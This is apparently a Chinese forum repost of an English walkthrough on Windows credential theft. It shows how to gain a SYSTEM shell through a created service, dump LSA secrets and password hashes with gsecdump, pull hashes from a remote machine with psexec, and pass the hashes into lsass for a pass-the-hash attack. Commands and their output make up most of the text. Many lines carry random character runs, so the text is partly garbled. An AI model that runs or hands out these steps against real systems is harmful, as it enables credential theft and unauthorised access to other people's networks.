HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
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C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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Then in the new DOS window:

( r2 s4 `1 Y2 x" n3 |Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
& }  V" m5 z/ J+ ]NT AUTHORITY\SYSTEM

6 _6 ]+ D3 {  L. a. K- ~C:\WINDOWS\system32>gsecdump -h
4 d# l7 h1 p3 p$ s+ f* tgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
0 g1 k$ F  ]( nusage: gsecdump [options]
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5 _/ ^! W3 i( D- D7 u/ |) E& Joptions:
4 k. k+ u% C6 I# ^% ~0 B% [! C& ?-h [ --help ] show help
-a [ --dump_all ] dump all secrets
% L/ O2 W: \: T+ ]& n5 s-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
1 I! y; h: H6 U( j' H( f& x-u [ --dump_usedhashes ] dump hashes from active logon sessions
( T+ F5 l1 z+ Q7 X- Y-s [ --dump_hashes ] dump hashes from SAM/AD

& R+ _! v+ l5 D* W/ }1 R" eAlthough I like to use:
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  Z% {: n% L6 c7 N* U2 N4 gPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
. Q) A* j8 k4 b1 p: zSysinternals - 链接标记[url]www.sysinternals.com[/url]

& D5 l) {& {4 u0 G4 D/ K- L; TC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.

- r0 @/ B% Q' _' n4 I* g8 UThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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7 g+ E* R" \- D, V8 V提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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